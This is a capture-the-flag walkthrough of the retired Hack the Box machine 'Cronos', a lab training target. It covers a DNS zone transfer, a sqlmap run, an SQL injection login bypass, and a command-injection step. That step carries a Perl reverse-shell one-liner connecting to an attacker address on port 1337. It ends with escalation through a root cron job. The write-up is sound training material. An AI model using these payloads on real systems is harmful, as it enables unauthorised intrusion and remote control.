Hack the Box – Cronos Walkthrough

Today we’re going to solve another CTF machine “Cronos”. It is now retired box and can be accessible if you’re a VIP member.



  • Target OS: Linux
  • Services: SSH, HTTP, ISC Bind
  • IP Address:
  • Difficulty: Medium


  • SQL Injection
  • Cron running as root


  • Getting user
  • Getting root


As always, the first step consists of reconnaissance phase as port scanning.

Ports Scanning

During this step we’re gonna identify the target to see what we have behind the IP Address.


After spending some time on enumerating directories we found nothing. So i thought to do some digging and thought to dig.

dig axfr @ cronos.htb

; <<>> DiG 9.10.6-Debian <<>> axfr @ cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A
admin.cronos.htb.       604800  IN      A
ns1.cronos.htb.         604800  IN      A
www.cronos.htb.         604800  IN      A
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 311 msec
;; WHEN: Wed Nov 28 17:22:46 CET 2018
;; XFR size: 7 records (messages 1, bytes 203)

We found admin.cronos.htb and after adding that into /etc/hosts we found an administrator login page.


We can try Brute Forcing with different wordlists and usernames but it didn’t work. Then we gave a shot to SQLi and tried SQLMap.

sqlmap -r sqlmap.req --level=5 --risk=3

Inside sqlmap.req we have our POST method.

POST / HTTP/1.1                                                                                                                                                      
Host: admin.cronos.htb                                                                                                                                               
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0                                                                                     
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8                                                                                              
Accept-Language: en-US,en;q=0.5                                                                                                                                      
Accept-Encoding: gzip, deflate                                                                                                                                       
Referer: http://admin.cronos.htb/                                                                                                                                    
Cookie: PHPSESSID=dnurhq6mp01mvc7thl7t4v56t3                                                                                                                         
DNT: 1                                                                                                                                                               
Connection: close                                                                                                                                                    
Upgrade-Insecure-Requests: 1                                                                                                                                         
Content-Type: application/x-www-form-urlencoded                                                                                                                      
Content-Length: 29                                                                                                                                                   

It appears that Username field is vulnerable to SQL injection.

OR manually we can try different methods for more info you can real OWASP SQL injection wiki.

Try admin’– – as username and use random password.

Command Injection

Since we have a command injection we can simply bypass it by placing ‘;’ in the end.

Example 6: https://www.owasp.org/index.php/Command_Injection

Let’s get a reverse shell.

Since we had Perl installed so we have to use Perl reverse shell.

;perl -e 'use Socket;$i="";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

And we got shell.

Privilege Escalation

Since we have a user now we’re going after root. Now we have to escalate privileges to become root. Let’s run some privilege escalation scripts to get some basic information.

Normally I use LinEnum.sh script which collect some important information. After doing some research and i found that inside crontab we’ve a command schedule which runs a file as root.

$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.


# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

Since we have a command running inside crontab as root we can spawn php reverse shell easily.


Leave a Reply

Your email address will not be published. Required fields are marked *

Back to top button